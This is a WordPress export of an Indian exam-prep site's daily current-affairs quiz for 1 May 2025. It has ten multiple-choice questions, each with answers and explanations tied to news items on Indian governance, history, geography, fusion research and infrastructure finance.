{"id":2028,"date":"2025-05-02T07:39:12","date_gmt":"2025-05-02T07:39:12","guid":{"rendered":"https:\/\/iasquest.com\/?p=2028"},"modified":"2026-02-11T18:58:28","modified_gmt":"2026-02-11T18:58:28","slug":"daily-current-affairs-01-05-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-01-05-2025\/","title":{"rendered":"Daily Current Affairs &#8211; 01-05-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. National Security Advisory Board is a statutory body under National security Act 1980.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. National Security Council is the apex advisory body on all internal and external security-related matters and headed by the Prime Minister.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Which of the above statement(s) is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Explanation: <\/strong>(b) 2 Only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>News: Ex-RAW chief appointed head of reconstituted NSAB<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-11\">\n<li>The government has reconstituted the National Security Advisory Board (NSAB) and appointed former R&amp;AW<strong> chief Alok Joshi as its new chairman.<\/strong><\/li>\n\n\n\n<li>National Security Advisory Board with Alok Joshi made Chairman and seven new members inducted into the <strong>16-member body<\/strong><\/li>\n\n\n\n<li>The<strong> NSAB <\/strong>was constituted in <strong>December 1998<\/strong>, as an <strong>advisory body of eminent persons<\/strong> outside the government to render advice on national security issues referred to it by the NSC.<\/li>\n\n\n\n<li>It draws people of diverse domains including<strong><em> industry, media and civil society, among others.<\/em><\/strong><\/li>\n\n\n\n<li>The reconstitution is a standard practice of bringing in new members once the tenure is complete.<\/li>\n\n\n\n<li><em>Not all members of the Board are changed at the same time t<\/em>o ensure continuity.<\/li>\n\n\n\n<li>The principal function of the NSAB is <strong><em>to undertake long-term analysis and provide perspectives on national security issues to the National Security Council (NSC) and to recommend measures\/solutions and policy options on the issues<\/em><\/strong> referred to it by the National Security Council, as per a written reply given by the government in Parliament.<\/li>\n\n\n\n<li>It is an <strong>advisory and non-binding body;<\/strong> its recommendations are<strong> not enforceable<\/strong>.<\/li>\n\n\n\n<li>National Security Council is the apex advisory body on all internal and external security-related matters and headed by the <strong>Prime Minister.<\/strong><\/li>\n\n\n\n<li>It operates under the framework of the<strong> National Security Council Secretariat (NSCS).<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/govt-revamps-national-security-advisory-board-appoints-ex-raw-chief-alok-joshi-its-chairman\/article69509330.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/govt-revamps-national-security-advisory-board-appoints-ex-raw-chief-alok-joshi-its-chairman\/article69509330.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>2. The term \u2018Agent Orange\u2019 recently seen in news related to<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\">(a) Militant group of Yemen<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\">(b) Counter Operation of insurgency<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">(c) Smoky chemical<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\">(d) Herbicide used in war<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Explanation: <\/strong>(d) Herbicide used in war<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong><u>News: <\/u><\/strong><strong>How Agent Orange, used by the US during war, haunts Vietnam\u2019s present<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li><strong>Fifty years after the Vietnam War (1955-75), <\/strong>millions of Vietnamese continue to suffer from the devastating effects of <strong>Agent Orange.<\/strong><\/li>\n\n\n\n<li>Agent Orange is a <strong>toxic herbicide<\/strong> sprayed by <strong>US forces to destroy forests and food crops<\/strong> that provided cover and sustenance to North Vietnamese and Viet Cong troops.<\/li>\n\n\n\n<li>Although Agent Orange remained toxic for only days or weeks and then degraded, <strong>dioxin could survive up to three years in soil that was exposed to sunlight.<\/strong><\/li>\n\n\n\n<li>Usage of this led to major health hazards like <strong><em>cancer and diabetes, as well as birth defects such as spina bifida, oral clefts, and cardiovascular abnormalities.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-global\/agent-orange-vietnam-9975027\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/explained-global\/agent-orange-vietnam-9975027\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>3. Consider the following statements with respect to Lokpal<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">1. It is a statutory body established under the Lokpal and Lokayuktas Act 2013.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">2. Lokpal jurisdiction covers Group A, B, C and D officers, ministers including Prime Minister.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">3. It comprises of 8 members whose partly from judicial members and partly from SCs, STs OBCs, Women and Minorities<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">4. Members of Lokpal hold the office during pleasure of the president.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Select the correct code:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">(d) All the four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Explanation: (c) <\/strong>Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>News: SC shifts case on Lokpal order to another Bench<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-34\">\n<li><strong>Dr. L. M. Singhvi <\/strong>coined the term<strong> Lokpal and Lokayukta in 1963<\/strong>.<\/li>\n\n\n\n<li>It is a<strong> statutory body<\/strong> established under the <strong>Lokpal and Lokayuktas Act 2013.<\/strong><\/li>\n\n\n\n<li>Chairperson with a maximum of <strong>8 members<\/strong> includes <strong>50% judicial members<\/strong>. A minimum of <strong><em>50% of members shall be from SCs, STs, OBCs, Minorities and Women.<\/em><\/strong><\/li>\n\n\n\n<li>Over <strong>Prime Minister, Ministers, Members of Parliament and Groups A, B, C and D officers <\/strong>and <strong>officials of the Central Government.<\/strong><\/li>\n\n\n\n<li>Institutions which are financed fully or partly by Govt. are under the jurisdiction of Lokpal, but institutions aided by Govt. are excluded.<\/li>\n\n\n\n<li>It also covers <strong>any society or trust or body<\/strong> that receives foreign contribution <strong>above \u20b910 lakh<\/strong><\/li>\n\n\n\n<li>They hold office for a <strong>term of five years<\/strong> from the date on which they enter upon the office or until they attain the <strong>age of 70 years, <\/strong>whichever is earlier.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/sc-sets-july-to-hear-matter-over-lokpals-jurisdiction-in-examining-complaints-against-judges\/article69509511.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/sc-sets-july-to-hear-matter-over-lokpals-jurisdiction-in-examining-complaints-against-judges\/article69509511.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>4. Cholistan Desert is located in which of the following countries?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">(a) China<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">(b) Pakistan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">(c) India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(d) Tajikistan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Explanation: (b) Pakistan<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>News: Why Pakistan has put its ambitious canals project on hold<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-42\">\n<li>Pakistan has paused its <strong>Green Pakistan Initiative, <\/strong>which includes six strategic canals, most notably the <strong>Cholistan Canal,<\/strong> aimed at irrigating the <strong>Cholistan Desert.<\/strong><\/li>\n\n\n\n<li>Located in <strong>southern Punjab, Pakistan,<\/strong> the Cholistan Desert is also referred to locally as<strong> Rohi.<\/strong><\/li>\n\n\n\n<li>It is adjacent to the Thar Desert in India and covers an area of about 26,000 square kilometres.<\/li>\n\n\n\n<li>Known for its arid and semi-arid tropical desert climate, the desert features sandy terrain interspersed with alluvial flats and small sandy dunes.<\/li>\n\n\n\n<li>As a hub for caravan trade, Cholistan saw the establishment of many forts during the medieval era to safeguard trade routes. The <strong>Derawar Fort<\/strong> stands out as the most well-preserved example.<\/li>\n\n\n\n<li>Derawar fort was built in the 9th century by Rai Jajja Bhatti.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-global\/why-pakistan-has-put-its-ambitious-canals-project-on-hold-9968401\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/explained-global\/why-pakistan-has-put-its-ambitious-canals-project-on-hold-9968401\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>5. Madhubani painting is a traditional Indian art form of which of the following region?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">(a) Bihar<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">(b) Madhya Pradesh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">(c) Rajastan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">(d) Gujarat<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Explanation: (a) Bihar<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-49\">\n<li>Bihar has set two <strong>Guinness World Records for the largest painting (201.17sqft)<\/strong> and singing bowl ensemble 375 Buddhist monks of Bodh Gaya ahead of Khelo India Youth Games 2025.<\/li>\n\n\n\n<li><strong>Madhubani painting, which is also referred to as Mithila Painting<\/strong>, is a traditional art form from the <strong>Mithila region of Bihar in eastern India.<\/strong><\/li>\n\n\n\n<li>It is recognized for its complex designs, bright shades, and deep symbolism. This style has been inherited across generations and is practiced by men and women alike in rural villages.<\/li>\n\n\n\n<li>These paintings are popular because of their tribal motifs and use of bright earthy colours.<\/li>\n\n\n\n<li>The colours used in paintings comprise natural extracts from plants and other natural sources. Example: Black colour is obtained by mixing soot with cow dung; blue from indigo; white from rice powder; orange from palasha flowers, etc.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Source: <a href=\"https:\/\/timesofindia.indiatimes.com\/city\/patna\/bihar-sets-world-records-for-largest-madhubani-painting-bowl-ensemble\/articleshow\/120669016.cms\" target=\"_blank\" rel=\"noopener\">https:\/\/timesofindia.indiatimes.com\/city\/patna\/bihar-sets-world-records-for-largest-madhubani-painting-bowl-ensemble\/articleshow\/120669016.cms<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>6. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">1. The Cabinet Secretariat functions directly under the Cabinet secretary.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">2. The administrative head of the Secretariat is the Cabinet Secretary who is also the ex-officio Chairman of the Civil Services Board.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Answer:&nbsp; (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>In News:<\/strong>The caste census<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-60\">\n<li>The Cabinet Committee on Political Affairs (CCPA) headed by Prime Minister Narendra Modi has approved the enumeration of castes in the upcoming Census, bowing to a several decades-old demand and reversing the position that it formally articulated in Parliament four years ago.<\/li>\n\n\n\n<li><strong>The Cabinet Secretariat functions directly under the Prime Minister.<em><u>Hence statement 1 is incorrect.<\/u><\/em><\/strong><\/li>\n\n\n\n<li><strong>The administrative head of the Secretariat is the Cabinet Secretary who is also the ex-officio Chairman of the Civil Services Board.<em><u>Hence statement 2 is correct.<\/u><\/em><\/strong><\/li>\n\n\n\n<li>The business allocated to Cabinet Secretariat under Government of India (Allocation of Business) Rules, 1961 includes (i) Secretarial assistance to the Cabinet and Cabinet Committees; and (ii) Rules of Business.<\/li>\n\n\n\n<li>The Cabinet Secretariat is responsible for the administration of the Government of India (Transaction of Business) Rules, 1961 and Government of India (Allocation of Business) Rules, 1961 facilitating smooth transaction of business in Ministries\/ Departments.<\/li>\n\n\n\n<li>The Secretariat assists in decision-making in Government by ensuring Inter-Ministerial coordination, ironing out differences amongst Ministries\/Departments and evolving consensus through the instrumentality of the standing\/adhoc Committees of Secretaries<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>Source:<\/strong> <a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-politics\/the-caste-census-9975706\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/explained-politics\/the-caste-census-9975706\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>7. who was conferred with the title of Sena Saheb Subah<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">(a) Chhatrapati Shahu Maharaj<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\">(b) Raghuji Raje Bhonsle<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\">(c) Peshwa Balaji Vishwanath<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">(d) Peshwa Baji Rao<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Answer:&nbsp; (b) Raghuji Raje Bhonsle<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>In News:<\/strong>A sword returns, a legacy revived: Why Raghuji Bhonsle\u2019s weapon matters?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-70\">\n<li>The Maharashtra government reclaimed the iconic sword of Maratha warrior Raje Raghuji Bhonsle I at <a href=\"https:\/\/indianexpress.com\/article\/cities\/mumbai\/maharashtra-govt-reclaims-sword-of-maratha-warrior-raghuji-bhosale-at-auction-in-london-9973281\/\" target=\"_blank\" rel=\"noopener\">an auction<\/a> in London for Rs 47.15 lakh.<\/li>\n\n\n\n<li>The basket-hilt sword has a European-style single-edged blade, which is slightly curved, and two fullers \u2014 grooves or channels that run the length of the sword. The spine of the sword is inlaid in gold with an inscription in Devanagari script.<\/li>\n\n\n\n<li>The inscription reads Shrimant Raghuji Bhosale Sena Saheb Subah Firang, suggesting that the sword could be ceremonial.<\/li>\n\n\n\n<li>Sena Saheb Subah was a title of high military rank that was associated with the Maratha Empire, and would be usually conferred by the Chhatrapatis of Satara. The person receiving the title would also get a sword and robe.<\/li>\n\n\n\n<li><strong>This particular sword is likely a gift from Chhatrapati Shahu Maharaj to Raghuji Raje Bhonsle who was conferred with the title of Sena Saheb Subah.<em><u>Hence option(b) is correct.<\/u><\/em><\/strong><\/li>\n\n\n\n<li>Like the Peshwe, Holkar, Gaikwad, and Scindia families, the Nagpur Bhonsle family also played a significant role in expanding the Maratha Empire. The family was one of the royal or Kshatriya clans of the Marathas, and considered itself as the descendant of Udaipur\u2019s Sisodia Rajputs.<\/li>\n\n\n\n<li>The Bhonsles of Nagpur were known as Hinganikar as one of their ancestors \u2014 who was probably a contemporary of Maloji, the grandfather of Chhatrapati Shivaji Maharaj \u2014 rehabilitated the village Beradi near Hingani in the present district of Pune.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>Source:<\/strong> <a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-history\/raghuji-bhonsle-sword-9975236\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/explained-history\/raghuji-bhonsle-sword-9975236\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>8. Battle of Sitabuldi 1817 won by an East India company related to which of the following Empires?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">(a) Maratha Empire<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">(b) Nizam of Hyderabad<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">(c) Mysore Sultans<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">(d) Carnatic Nawab<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>Answer:&nbsp; (a)Maratha Empire<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>In News:<\/strong>Why does Raghuji Bhonsle\u2019s weapon matter?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-80\">\n<li>Raghuji Bhonsle I expanded the Maratha empire to Orissa, Bihar, West Bengal, Uttar Pradesh, Madhya Pradesh and Chhattisgarh.<\/li>\n\n\n\n<li>He led pivotal military campaigns in Bengal from 1745 and 1755.<\/li>\n\n\n\n<li>The approximate area under the rule of Nagpurkar Bhonsles was 2.17 lakh sq km. It was initially Raghuji Bhonsle I who raided Odisha and Bengal and reclaimed the temples.<\/li>\n\n\n\n<li><strong>Following the 1817 battle of Sitabuldi, where the East India Company defeated the Nagpur Bhonsles, the British looted the Bhonsle treasury, seizing priceless treasures, ornaments, and weapons.<em><u>Hence option(a) is correct.<\/u><\/em><\/strong><\/li>\n\n\n\n<li>Experts believe that this sword may have been a part of that war loot or a gift presented to the British in the aftermath of the battle. During the Battle of Sitabuldi in 1817, the British East India Company, under the leadership of General Sir Alexander Campbell, set fire to the Bhonsle Palace in Nagpur \u2013 said to be bigger than Shaniwar Wada of the Peshwas of Pune \u2013 and it remained ablaze for six months.<\/li>\n\n\n\n<li>It was the same time when the Holkars were defeated in the battle of Mahidpur.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Source:<\/strong> <a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-history\/raghuji-bhonsle-sword-9975236\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/explained-history\/raghuji-bhonsle-sword-9975236\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>9. Consider the following statements with reference to \u201cTokamak\u201d recently seen in the news.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">1. It is the largest, most powerful pulsed superconducting electromagnet system, which will function as the heart of ITER\u2019s donut-shaped reactor.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\">2. It is a magnetic fusion device to prove the feasibility of nuclear fusion as a large-scale and carbon-free source of energy.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\">3. It is developed as a joint venture project by NTPC and CEA, France.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">(c) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">(d) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Answer:&nbsp; (a) <\/strong>1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>In News: <\/strong>The world\u2019s powerful device being built in France reaches an important milestone for nuclear fusion.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-94\">\n<li><strong>The International Thermo-nuclear Experimental Reactor (ITER) Project is currently under construction in a 180-hectare site in Southern France. Over 30 countries, including India, are collaborating to build the world\u2019s largest tokamak,<em><u> Hence statement 3 is incorrect<\/u><\/em><\/strong><\/li>\n\n\n\n<li>It is a magnetic fusion device to prove the feasibility of nuclear fusion as a large-scale and carbon-free source of energy.<strong><em><u> Hence statement 2 is correct<\/u><\/em><\/strong><\/li>\n\n\n\n<li>In 2025, I<strong>TER announced that it had completed all components for the world\u2019s largest, most powerful pulsed superconducting electromagnet system, which will function as the heart of ITER\u2019s donut-shaped reactor, called a Tokamak.<\/strong> After assembling the different components of the fully assembled pulsed magnet system, it will weigh nearly 3,000 tonnes. <strong><em><u>Hence statement 1 is correct.<\/u><\/em><\/strong><\/li>\n\n\n\n<li>Finally, the experiment will allow scientists to inject a few grams of hydrogen fuel\u2014deuterium and tritium gas\u2014into ITER\u2019s gigantic Tokamak chamber.&nbsp; Deuterium and tritium are two hydrogen isotopes (variants), which have been identified as the most efficient way of achieving fusion.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Source:<\/strong> <a href=\"https:\/\/www.downtoearth.org.in\/science-technology\/the-worlds-powerful-device-being-built-in-france-reaches-an-important-milestone-for-nuclear-fusion\" target=\"_blank\" rel=\"noopener\"><strong>ITER Milestone: World&#8217;s Largest Nuclear Fusion Device Advances in France<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>10. With reference to law to Hybrid Annuity Model (HAM),consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">1. HAM is a blend of the EPC (Engineering-Procurement-Construction) and BOT (Build-Operate-Transfer) model contracts.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">2. Under conditions of HAM, the Government bears 40% of the project cost in its initial stage, and the private developer undertakes the remaining 60% of the cost.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">3. Project cost shall be inflation indexed (through a Price Index multiple, which is a weighted average of the WPI and CPI in 70:30 ratio.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Answer:&nbsp; (c) <\/strong>All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>In News: <\/strong>Cabinet approves development of Greenfield High-Speed Corridor of 166.80 km (NH-6) from Mawlyngkhung (near Shillong) in Meghalaya to Panchgram (near Silchar) in Assam on Hybrid Annuity Mode (HAM)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-108\">\n<li><strong>HAM, or Hybrid Annuity Model projects are gaining traction in India. HAM is a blend of the EPC (Engineering-Procurement-Construction) and BOT (Build-Operate-Transfer) model contracts. <em><u>Hence statement 1 is correct<\/u><\/em><\/strong><\/li>\n\n\n\n<li>The HAM model is a variation of PPP, or Public-Private Partnership. In India, Govt. introduced it in 2016 to expedite the construction of the National Highways for further expansion in a rapid pace.<\/li>\n\n\n\n<li>U<strong>nder conditions of HAM, the Government bears 40% of the project cost in its initial stage, and the private developer undertakes the remaining 60% of the cost. <em><u>Hence statement 2 is correct<\/u><\/em><\/strong><\/li>\n\n\n\n<li>The Government pays the developer a predetermined annuity amount over the concession period, which is typically 15 to 20 years.<\/li>\n\n\n\n<li><strong>Project cost shall be inflation indexed (through a Price Index multiple, which is a weighted average of the WPI and CPI in 70:30 ratio. <em><u>Hence statement 3 is correct<\/u><\/em><\/strong><\/li>\n\n\n\n<li>Concessionaire will be responsible for the maintenance of the project till the end of the concession period.<\/li>\n\n\n\n<li>Toll collection shall be the responsibility of the authority.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 